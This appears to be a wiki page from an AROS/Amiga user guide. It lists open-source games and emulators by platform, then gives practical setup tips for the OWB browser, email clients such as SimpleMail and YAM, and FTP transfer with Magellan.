|&lt;!--Sub Menu--&gt;Games Emulation TI 99/4 99/4A [https://github.com/wavemotion-dave/DS994a DS994a], [], [https://js99er.net/#/ js99er], [], 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=emulation/computer], 
|&lt;!--Amiga OS--&gt;[http://aminet.net/package/misc/emu/TI4Amiga TI4Amiga], [http://aminet.net/package/misc/emu/TI4Amiga_src TI4Amiga src in c], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation HP 38G 40GS 48 49G/50G Graphing Calculators
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Emulation TI 58 83 84 85 86 - 89 92 Graphing Calculators
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|}

{|  class=&quot;wikitable sortable&quot; 
|- 
!width:10%;|Games [https://www.rockpapershotgun.com/ General]
!width:10%;|AROS(x86)
!width:10%;|AmigaOS3(68k)
!width:10%;|AmigaOS4(PPC)
!width:10%;|MorphOS(PPC)
|- style=&quot;background:lightgrey;{{text default color}}; text-align:center; font-weight:bold;&quot;
| Games [https://www.trackawesomelist.com/michelpereira/awesome-open-source-games/ Open Source and others] || AROS || Amiga OS || Amiga OS4 || Morphos 
|-
|&lt;!--Sub Menu--&gt;Games Action like [https://github.com/opentomb/OpenTomb opentomb], [https://github.com/LostArtefacts/TRX TRX formerly Tomb1Main], [https://github.com/TombEngine TombEngine], [http://archives.arosworld.org/index.php?function=browse&amp;cat=game/action Thrust], [https://github.com/fragglet/sdl-sopwith sdl sopwith], 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=game/action], [https://archives.arosworld.org/index.php?function=browse&amp;cat=game/action BOH], [], 
|&lt;!--Amiga OS--&gt;[https://github.com/BSzili/OpenLara/tree/amiga/src source of openlara SDL2], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Adventure like [http://dotg.sourceforge.net/ DMJ], [https://github.com/kromenak/gengine Gabriel Knight 3], [http://www.sarien.net/ Sierra Sarien], [https://github.com/klembot/twinejs twine js], [https://github.com/QSPFoundation/qspgui Quest Soft Player QSP], [], 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=game/adventure dmagnetic], [https://archives.arosworld.org/?function=browse&amp;cat=emulation/misc ScummVM], [https://archives.arosworld.org/index.php?function=browse&amp;cat=game/roleplaying frotz infocom], [], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Board like [https://github.com/aperture-software/colditz-escape escape from colditz], [], 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=game/board], [http://amigan.1emu.net/releases Africa]
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Cards 
|&lt;!--AROS--&gt;[https://archives.arosworld.org/index.php?function=browse&amp;cat=game/card], [https://www.arosworld.org/infusions/forum/viewthread.php?thread_id=1443&amp;rowstart=180&amp;pid=12934#post_12934 Balatro], 
|&lt;!--AmigaOS--&gt;[http://home.arcor.de/amigasolitaire/e/welcome.html Reko], [https://github.com/samskivert/beschei-en beschei Src], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Misc [https://github.com/michelpereira/awesome-open-source-games Awesome open], [https://github.com/bobeff/open-source-games General Open Source], [https://github.com/SAT-R/sa2 Sonic Advance 2], [https://github.com/velorek1/cwordle Wordle type], 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=game/misc], [], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games FPS like [https://aminet.net/package/game/shoot/D1X_Rebirth_AGA Descent D1X src], [https://github.com/DescentDevelopers/Descent3 Descent 3], [https://github.com/Fewnity/Counter-Strike-Nintendo-DS Counter-Strike-Nintendo-DS], [https://github.com/Aleph-One-Marathon/alephone Bungie Marathon 1994], [https://zdoom.org/downloads UzDoom opengl 3.3], [https://github.com/ZDoom/gzdoom gzdoom opengl 3+], [https://zdoom.org/downloads LZDoom opengl 2.1], 
|&lt;!--AROS--&gt;Doom, Quake, [http://archives.arosworld.org/index.php?function=browse&amp;cat=game/fps Quake 3 Arena (OpenGL)], [http://archives.arosworld.org/index.php?function=browse&amp;cat=game/fps Cube (OpenGL)], [http://archives.arosworld.org/index.php?function=browse&amp;cat=game/fps Assault Cube (OpenGL)], [http://archives.arosworld.org/index.php?function=browse&amp;cat=game/fps Cube 2 Sauerbraten (OpenGL)], [http://fodquake.net/test/ FodQuake QuakeWorld], [https://archives.arosworld.org/index.php?function=browse&amp;cat=game/fps Duke Nukem 3D], [https://archives.arosworld.org/index.php?function=browse&amp;cat=game/fps Darkplaces Nexuiz Xonotic], [http://archives.arosworld.org/index.php?function=browse&amp;cat=game/fps Doom 3 SDL (OpenGL)], [http://archives.arosworld.org/index.php?function=browse&amp;cat=game/fps Hexenworld and Hexen 2], [https://archives.arosworld.org/index.php?function=browse&amp;cat=game/fps Aliens vs Predator Gold 2000 avp (openGL)], [https://archives.arosworld.org/index.php?function=browse&amp;cat=game/fps Odamex (openGL doom)], [https://archives.arosworld.org/?function=showfile&amp;file=game/fps/ zgloom], [], [https://archives.arosworld.org/?function=showfile&amp;file=game/fps/ ab3dhd], [], 
|&lt;!--Amiga OS--&gt;Doom, Quake, AB3D, Fears, Breathless, Gloom, 
|&lt;!--AmigaOS4--&gt;Doom, Quake, 
|&lt;!--MorphOS--&gt;[http://morphos.lukysoft.cz/en/vypis.php?kat=12 Doom], Quake, Quake 3 Arena, [https://github.com/OpenXRay/xray-16 S.T.A.L.K.E.R Xray]
|-
|&lt;!--Sub Menu--&gt;Games MMORG like 
|&lt;!--AROS--&gt;[ Eternal Lands (OpenGL)],
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Platform like 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=game/platform], [ Maze of Galious], [ Gish]*(openGL), [ Mega Mario], [https://archives.arosworld.org/?function=showfile&amp;file=game/platform/ thextech SMBX], [http://www.gianas-return.de/ Giana's Return], [http://www.sqrxz.de/ Sqrxz], [www.sqrxz2.de/ Sqrxz 2], [http://www.sqrxz.de/sqrxz-3/ Sqrxz 3], [http://www.sqrxz.de/sqrxz-4/ Sqrxz 4], [http://archives.arosworld.org/index.php?function=browse&amp;cat=game/platform Cave Story], [https://bszili.morphos.me/ Frogatto], [https://bszili.morphos.me/ OpenJazz], [https://archives.arosworld.org/?function=showfile&amp;file=game/platform/ pekkakana2], [ Aquaria], [https://archives.arosworld.org/?function=showfile&amp;file=game/platform/ sonic CD], [], 
|&lt;!--Amiga OS--&gt;[ Giana Sisters], [], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Puzzle [https://github.com/mariopartyrd/marioparty4/tree/port Party], [https://github.com/mdodis/OpenSolomonsKey OpenSolomonsKey], [], 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=game/puzzle], [ Cubosphere (OpenGL)], [http://archives.arosworld.org/index.php?function=browse&amp;cat=game/puzzle Candy Crisis], [http://bszili.morphos.me/ TailTale], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Racing [ Trigger Rally], [ VDrift], [http://www.ultimatestunts.nl/index.php?page=2&amp;lang=en Ultimate Stunts], [http://maniadrive.raydium.org/ Mania Drive], [https://github.com/plowteam/donut Simpsons Hit and Run], [], 
|&lt;!--AROS--&gt;[ Super Tux Kart (OpenGL)], [http://www.dusabledanslherbe.eu/AROSPage/F1Spirit.30.html F1 Spirit (OpenGL)], [http://bszili.morphos.me/index.html MultiRacer], [https://bszili.morphos.me/ Speed Dreams], [https://archives.arosworld.org/?function=showfile&amp;file=game/driving/dethrace-0.10.1.x86_64-aros-v11.zip Carmageddon dethrace 64bit], [], 
|&lt;!--AmigaOS--&gt;
|&lt;!--AmigaOS4--&gt;[http://bszili.morphos.me/index.html Speed Dreams], 
|&lt;!--MorphOS--&gt;[http://morphos.lukysoft.cz/en/vypis.php?kat=12], [http://bszili.morphos.me/index.html TORCS], 
|-
|&lt;!--Sub Menu--&gt;Games 1st first person DRPG [https://wiki.rpg.net/index.php/Open_Game_Systems Misc], [https://github.com/OpenEnroth/OpenEnroth OpenEnroth MM], []
|&lt;!--AROS--&gt;[https://github.com/BSzili/aros-stuff Arx Libertatis], [http://www.playfuljs.com/a-first-person-engine-in-265-lines/ js raycaster], [https://github.com/Dorthu/es6-crpg webgl], [https://github.com/sonountaleban/AmiShockolate System Shock], [], [], 
|&lt;!--AmigaOS--&gt;Phantasie, Faery Tale, Dungeon Master, 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games 3rd third person action CRPG  [https://sourceforge.net/projects/sumwars/ Summoning Wars], [https://www.solarus-games.org/ Solarus], [https://wiki.rpg.net/index.php/Open_Game_Systems Misc], [https://github.com/alexbatalov/fallout1-ce fallout ce], [https://github.com/rwengine/openrw gta3], [https://github.com/gta-reversed/gta-reversed gta3 sa], [https://github.com/mrxenginner/reVC gta3 vc revc], 
|&lt;!--AROS--&gt;[https://archives.arosworld.org/?function=showfile&amp;file=game/strategy/ fheroes2 homm2], [https://archives.arosworld.org/?function=showfile&amp;file=game/roleplaying/ breakhack], [https://archives.arosworld.org/?function=showfile&amp;file=game/roleplaying/ devilutionx diablo 1 hellfire], [https://archives.arosworld.org/?function=showfile&amp;file=game/roleplaying/ fallout 1], [https://archives.arosworld.org/?function=showfile&amp;file=game/strategy/ stratagus], [https://archives.arosworld.org/?function=showfile&amp;file=game/strategy/ hostile-takeover], [], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games isometric RPG [https://sourceforge.net/projects/sumwars/ Summoning Wars], [https://www.solarus-games.org/ Solarus], [https://wiki.rpg.net/index.php/Open_Game_Systems Misc], [https://github.com/topics/dungeon?l=javascript Dungeon], [], [https://github.com/clintbellanger/heroine-dusk JS Dusk], 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=game/roleplaying nethack], [https://archives.arosworld.org/index.php?function=browse&amp;cat=game/roleplaying GemRB], [], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games card based RPG [https://github.com/open-duelyst/duelyst Duelyst], [], [], 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games turn based tactics RPG [], [], [], [], [], [], 
|&lt;!--AROS--&gt;[https://archives.arosworld.org/index.php?function=browse&amp;cat=game/strategy UFO AI], [http://play.freeciv.org/ FreeCiv], [], [], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Strategy [http://rtsgus.org/ RTSgus], [http://stargus.sourceforge.net/ Stargus], [https://github.com/KD-lab-Open-Source/Perimeter Perimeter], [https://matty77.itch.io/conflict-3049 conflict-3049], [], 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=game/strategy MegaGlest (OpenGL)], [https://archives.arosworld.org/?function=showfile&amp;file=game/strategy/ signus], [https://www.arosworld.org/infusions/forum/viewthread.php?thread_id=1443&amp;rowstart=140&amp;pid=12446#post_12446 Wargus warcraft 2 setup], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;[http://morphos.lukysoft.cz/en/vypis.php?kat=12]
|-
|&lt;!--Sub Menu--&gt;Games Rhythm, Beat, Step [], [], [https://clonehero.net/ clonehero], [https://github.com/MatteoGodzilla/Dj-Engine Dj-Engine], 
|&lt;!--AROS--&gt;[https://archives.arosworld.org/index.php?function=browse&amp;cat=game/misc Frets on Fire], [], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Shoot Em Ups [http://www.mhgames.org/oldies/formido/ Formido], [http://code.google.com/p/violetland/ Violetland], 
||&lt;!--AROS--&gt;[https://archives.arosworld.org/index.php?function=browse&amp;cat=game/action Open Tyrian], [http://www.parallelrealities.co.uk/projects/starfighter.php Starfighter], [ Alien Blaster], [https://github.com/OpenFodder/openfodder OpenFodder], [https://archives.arosworld.org/?function=showfile&amp;file=game/action/ tbftss The Battle for the Solar System: the Pandora War]
|&lt;!--AmigaOS--&gt;
|&lt;!--AmigaOS4--&gt;[http://www.parallelrealities.co.uk/projects/starfighter.php Starfighter], [ The Battle for the Solar System: the Pandora War]
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Simulations [http://scp.indiegames.us/ Freespace 2], [http://www.heptargon.de/gl-117/gl-117.html GL117], [http://code.google.com/p/corsix-th/ Theme Hospital], [http://code.google.com/p/freerct/ Rollercoaster Tycoon], [http://hedgewars.org/ Hedgewars], [https://github.com/raceintospace/raceintospace raceintospace], [https://github.com/Return-To-The-Roots RTTR Settlers 2], [https://github.com/OoliteProject/oolite oolite elite], [https://github.com/fesh0r/newkind newkind elite], [https://github.com/bohemiainteractive/cwr Arma Cold War Src], [], [], 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;SimCity, SimAnt, Sim Hospital, Theme Park, [https://github.com/angree/openttd_amiga_68k openttd amiga_68k], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;[http://morphos.lukysoft.cz/en/vypis.php?kat=12]
|-
|&lt;!--Sub Menu--&gt;Games Life Sim [https://github.com/ACreTeam/forest Animal Crossing], [ ], [], [], 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Horror [https://github.com/Mikompilation/MikuPan Fatal Frame], [ ], [], [], 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Sandbox Voxel Open World Exploration [https://github.com/ClassiCube/ Classicube],[http://www.michaelfogleman.com/craft/ Craft], [https://github.com/tothpaul/DelphiCraft DelphiCraft],[https://www.minetest.net/ Luanti formerly Minetest], [ infiniminer], 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Battle Royale [https://bruh.io/ Play.Bruh.io], [https://www.coolmathgames.com/0-copter Copter Royale], [https://surviv.io/ Surviv.io], [https://nuggetroyale.io/#Ketchup Nugget Royale], [https://miniroyale2.io/ Miniroyale2.io], 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Tower Defense [https://chriscourses.github.io/tower-defense/ HTML5], [https://github.com/SBardak/Tower-Defense-Game TD C++], [https://github.com/bdoms/love_defense LUA and LOVE], [https://github.com/HyOsori/Osori-WebGame HTML5], [https://github.com/PascalCorpsman/ConfigTD ConfigTD Pascal], [https://github.com/GloriousEggroll/wine-ge-custom Wine], []
|&lt;!--AROS--&gt;[https://www.arosworld.org/infusions/forum/viewthread.php?thread_id=1443&amp;rowstart=180&amp;pid=12871#post_12871 Plants vs Zombies PvZ], 
|&lt;!--Amiga OS--&gt;[https://github.com/boingball/miggy-tower-defense miggy-tower-defense], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Visual Novel Engines [https://github.com/diane1f0cd/VisualNovelTemplate Visual Novel Template], [https://github.com/Kirilllive/tuesday-js Tuesday JS], [https://github.com/tejasnayak25/vnsutra vnsutra], [https://github.com/weetabix-su/renpsp-dev RenPSP], [https://github.com/Galladite27/ONScripter-EN ONScripter-EN], [https://github.com/NathanGuilhot/VNES-Raylib https://github.com/NathanGuilhot/VNES VNES in Raylib], [https://www.renpy.org/latest.html renpy ren'py python based], 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Virtual Reality VR [https://gitlab.com/madsbuvi/openmw openmw vr], [https://github.com/Team-Beef-Studios/BeefRaiderXR BeefRaiderXR], 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Virtual Table Top VTT [ Roll20], [https://www.owlbear.rodeo/ owlbear rodeo], [], [], 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Computer assisted TableTop TTRPG OSR [https://www.rpgsolo.com/play.php RPGSolo], [https://github.com/fpsvogel/solo-ttrpgs Solo TTRPG], [], [], 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games 2D 3D Engines [https://github.com/fegennari/3DWorld 3DWorld], [https://github.com/GarageGames/Torque3D Torque3D], [https://github.com/gameplay3d/GamePlay GamePlay 3D],  [https://www.babylonjs.com/ BabylonJS ], [ Godot], [ Ogre], [ Crystal Space], [https://github.com/JacobHess03/ Dragon-Quest like], [https://github.com/bjornbytes/lovr Lua LOVE for 2D LOVR for 3D], [], 
|&lt;!--AROS--&gt;[https://www.arkhamdev.net/wiki.htm?id=agx Arkham Development antiryadgx 8.9 lts with register], [], 
|&lt;!--Amiga OS--&gt;[https://github.com/alpyre/Sevgi_Engine Sevgi Engine], [], [], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games C based game frameworks [https://github.com/orangeduck/Corange Corange], [https://github.com/scottcgi/Mojoc Mojoc], [https://orx-project.org/ Orx], [https://github.com/ioquake/ioq3 Quake 3], [https://www.mapeditor.org/ Tiled], [https://www.raylib.com/ 2d Raylib], [https://github.com/Rabios/awesome-raylib other raylib], [https://github.com/MrFrenik/gunslinger Gunslinger], [https://o3de.org/ o3d], [http://archives.aros-exec.org/index.php?function=browse&amp;cat=development/library GLFW], [], 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=development/library Raylib 5], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games RPGMaker MV/MZ-compatible projects [https://github.com/Psychronic-Games/RPGReactor RPGReactor js],
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games Virtual Pinball [https://github.com/vpinball/vpinball vpinball], [], 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Games unpack unarc [], [], 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|}


==Application Guides==

[[#top|...to the top]]

===Web Browser===

OWB is now at version 2.0 (which got an engine refresh, from July 2015 to February 2019) and 3.0.

This latest version has a good support for many/most web sites, even YouTube web page now works. [https://www.bilibili.tv/en/search untested] 

This improved compatibility comes at the expense of higher RAM usage (now 1GB RAM is the absolute minimum). 

Also, keep in mind that the lack of a JIT (Just-In-Time) JS compiler on the 32 bit version, makes the web surfing a bit slow. 

Only the 64 bit version of OWB 2.0 will have JIT enabled, thus benefitting of more speed. There are tooltypes that can be added to the icon to provide further features JIT, MSE etc 


Certificates from [https://curl.se/docs/caextract.html ca certs], 


DNS tracking blocking with [https://easylist.to/easylist/easylist.txt easylist.txt] in PROGDIR:Conf before starting browser with enabled AdBlock [https://github.com/easylist/easylist/tree/master easylist], [https://gitlab.com/eyeo anti abp], [https://firebog.net/ big blocklist], [https://github.com/StevenBlack/hosts Steves], [], [], 

This can be enabled with OWB Odyssey with Windows -&gt; Content Blocking and Windows -&gt; Messages and enter 

 https://www.youtube.com/api/stats/ads*
 https://www.youtube.com/pagead/adview*
 https://www.youtube.com#@##player-ads*

into your custom filters 


Element blocker browser extension might be needed for [https://github.com/easylist/easylist/wiki/Youtube-Issues youtube], [ mid roll], [ pre roll], [ ],  


OWB speed is much better when running from RAM Disk, the best way is to add the below into your S:User-Startup which copies OWB drawer from Extras:Internet/OWB to RAM Disk: 

So add this :
&lt;pre&gt;
copy Extras:Internet/OWB Ram:OWB/ ALL CLONE &gt;NIL:
copy Extras:Internet/OWB.info Ram: &gt;NIL:
&lt;/pre&gt;
Open RAM Disk and open OWB drawer and double click on OWB icon so that the above icon tooltypes are activated 

Problems are that the copy time is long (around 20 seconds added in the background), but we can make it faster if we delete useless files from the OWB drawer (docs, …)
If you don’t copy the drawer back onto the HD, you won’t save your cache, cookies, passwords… So you need a script for it.


Error messages 

SSL error &quot;cant verify with ca-certificates&quot;, check bios clock time date is correct 

Error 6, try checking networking prefs settings and Save / Use preferences again or a '''few times''' otherwise the network chipset may not be compatible with Aros 


[https://www.google.com/search?q=%s&amp;udm=14 Google search without AI overview] 


===E-mail===

 YAM does not support SSL and most mail providers now switched to encrypted SMTP/POP3 connections


====SimpleMail====

SimpleMail supports IMAP and appears to work with GMail, but it's never been reliable enough, it can crash with large mailboxes.

Please read more on this [http://www.freelists.org/list/simplemail-usr User list]


 GMail

Be sure to activate the pop3 usage in your gmail account setup / configuration first.

pop3: 
pop.gmail.com
Use SSL: Yes
Port: 995

smtp:
smtp.gmail.com (with authentication)
Use Authentication: Yes
Use SSL: Yes
Port: 465 or 587


 Hotmail/MSN/outlook/Microsoft Mail mid-2017, all outlook.com accounts will be migrated to Office 365 / Exchange

Most users are currently on POP which does not allow showing folders and many other features (technical limitations of POP3). With Microsoft IMAP you will get folders, sync read/unread, and show flags. You still won't get push though, as Microsoft has not turned on the IMAP Idle command as at Sept 2013.

If you want to try it, you need to first remove (you can't edit) your pop account (long-press the account on the accounts screen, delete account). Then set it up this way:

1. Email/Password
2. Manual
3. IMAP
4.

* Incoming: imap-mail.outlook.com, port 993, SSL/TLS should be checked
* Outgoing: smtp-mail.outlook.com, port 587, SSL/TLS should be checked
* POP server name pop-mail.outlook.com, port 995, POP encryption method SSL

 Yahoo  Mail

On April 24, 2002 Yahoo ceased to offer POP access to its free mail service. Introducing instead a yearly payment feature, allowing users POP3 and IMAP server support, along with such benefits as larger file attachment sizes and no adverts.

Sorry to see Yahoo leaving its users to cough up for the privilege of accessing their mail. Understandable, when competing against rivals such as Gmail and Hotmail who hold a large majority of users and were hacked in 2014 as well.


Incoming Mail (IMAP) Server

* Server - imap.mail.yahoo.com
* Port - 993
* Requires SSL - Yes

Outgoing Mail (SMTP) Server

* Server - smtp.mail.yahoo.com
* Port - 465 or 587
* Requires SSL - Yes
* Requires authentication - Yes

Your login info

* Email address - Your full email address (name@domain.com)
* Password - Your account's password
* Requires authentication - Yes


Note that you need to enable “Web &amp; POP Access” in your Yahoo Mail account to send and receive Yahoo Mail messages through any other email program.

You will have to enable “Allow your Yahoo Mail to be POPed” under “POP and Forwarding”, to send and receive Yahoo mails through any other email client.

Cannot be done since 2002 unless the customer pays Yahoo a subscription subs fee to have access to SMTP and POP3

* Set the POP server for incoming mails as pop.mail.yahoo.com. You will have to enable “SSL” and use 995 for Port.
* “Account Name or Login Name” – Your Yahoo Mail ID i.e. your email address without the domain “@yahoo.com”.
* “Email Address” – Your Yahoo Mail address i.e. your email address including the domain “@yahoo.com”. E.g. myname@yahoo.com
* “Password” – Your Yahoo Mail password.

Yahoo! Mail Plus users may have to set POP server as plus.pop.mail.yahoo.com and SMTP server as plus.smtp.mail.yahoo.com.

* Set the SMTP server for outgoing mails as smtp.mail.yahoo.com. You will also have to make sure that “SSL” is enabled and use 465 for port. you must also enable “authentication” for this to work.


====YAM Yet Another Mailer====

 YAM does not support SSL and most mail providers have now switched to encrypted SMTP/POP3 connections

This email client is POP3 only if the SSL library is available [http://www.freelists.org/list/yam YAM Freelists]

One of the downsides of using a POP3 mailer unfortunately - you have to set an option not to delete the mail if you want it left on the server. IMAP keeps all the emails on the server.

Possible issues

Sending mail issues is probably a matter of using your ISP's SMTP server, though it could also be an SSL issue.


getting a &quot;Couldn't initialise TLSv1 / SSL error

Use of on-line e-mail accounts with this email client is not possible as it lacks the OpenSSL AmiSSl v3 compatible library

 GMail 
Incoming Mail (POP3) Server - requires SSL: pop.gmail.com
Use SSL: Yes
Port: 995

Outgoing Mail (SMTP) Server - requires TLS: smtp.gmail.com (use authentication)
Use Authentication: Yes
Use STARTTLS: Yes (some clients call this SSL)
Port: 465 or 587

Account Name: your Gmail username (including '@gmail.com')
Email Address: your full Gmail email address (username@gmail.com)
Password: your Gmail password

Anyway, the SMTP is pop.gmail.com port 465 and it uses SSLLv3 Authentication. The POP3 settings are for the same server (pop.gmail.com), only on port 995 instead.


 Outlook.com access

&lt;pre &gt;
Outlook.com SMTP server address: smtp.live.com
Outlook.com SMTP user name: Your full Outlook.com email address (not an alias)
Outlook.com SMTP password: Your Outlook.com password
Outlook.com SMTP port: 587
Outlook.com SMTP TLS/SSL encryption required: yes 
&lt;/pre &gt;


 Yahoo  Mail

&lt;pre &gt;
“POP3 Server” – Set the POP server for incoming mails as pop.mail.yahoo.com. You will have to enable “SSL” and use 995 for Port.
“SMTP Server” – Set the SMTP server for outgoing mails as smtp.mail.yahoo.com. You will also have to make sure that “SSL” is enabled and use 465 for port. you must also enable “authentication” for this to work.
“Account Name or Login Name” – Your Yahoo Mail ID i.e. your email address without the domain “@yahoo.com”.
“Email Address” – Your Yahoo Mail address i.e. your email address including the domain “@yahoo.com”. E.g. myname@yahoo.com
“Password” – Your Yahoo Mail password.
&lt;/pre &gt;

Yahoo! Mail Plus users may have to set POP server as plus.pop.mail.yahoo.com and SMTP server as plus.smtp.mail.yahoo.com.

Note that you need to enable “Web &amp; POP Access” in your Yahoo Mail account to send and receive Yahoo Mail messages through any other email program.

You will have to enable “Allow your Yahoo Mail to be POPed” under “POP and Forwarding”, to send and receive Yahoo mails through any other email client.

Cannot be done since 2002 unless the customer pays Yahoo a monthly fee to have access to SMTP and POP3


 Microsoft Outlook Express Mail 

1. Get the files to your PC.
By whatever method get the files off your Amiga onto your PC. In the YAM folder you have a number of different folders, one for each of your folders in YAM. Inside that is a file usually some numbers such as 332423.283. YAM created a new file for every single email you received.

2. Open up a brand new Outlook Express. Just configure the account to use 127.0.0.1 as mail servers. It doesn't really matter. You will need to manually create any subfolders you used in YAM.

3. You will need to do a mass rename on all your email files from YAM. Just add a .eml to the end of it. Amazing how PCs still rely mostly on the file name so it knows what sort of file it is rather than just looking at it! There are a number of multiple renamers online to download and free too.

4. Go into each of your folders, inbox, sent items etc. And do a select all then drag the files into Outlook Express (to the relevant folder obviously) Amazingly the file format that YAM used is very compatible with .eml standard and viola your emails appear. With correct dates and working attachments.

5. If you want your email into Microsoft Outlook. Open that up and create a new profile and a new blank PST file. Then go into File Import and choose to import from Outlook Express. And the mail will go into there. And viola.. you have your old email from your Amiga in a more modern day format.


===FTP===

Magellan has a great FTP module. It allows transferring files from/to a FTP server over the Internet or the local network and, even if FTP is perceived as a &quot;thing of the past&quot;, its usability is all inside the client. The FTP thing has a nice side effect too, since every Icaros machine can be a FTP server as well, and our files can be easily transferred from an Icaros machine to another with a little configuration effort.

First of all, we need to know the 'server' IP address. Server is the Icaros machine with the file we are about to download on another Icaros machine, that we're going to call 'client'. To do that, move on the server machine and 1) run Prefs/Services to be sure &quot;FTP file transfer&quot; is enabled (if not, enable it and restart Icaros); 2) run a shell and enter this command:

ifconfig -a

Make a note of the IP address for the network interface used by the local area network. For cabled devices, it usually is net0:. Now go on the client machine and run Magellan:

Perform these actions: 1) click on FTP; 2) click on ADDRESS BOOK; 3) click on &quot;New&quot;. 
You can now add a new entry for your Icaros server machine:

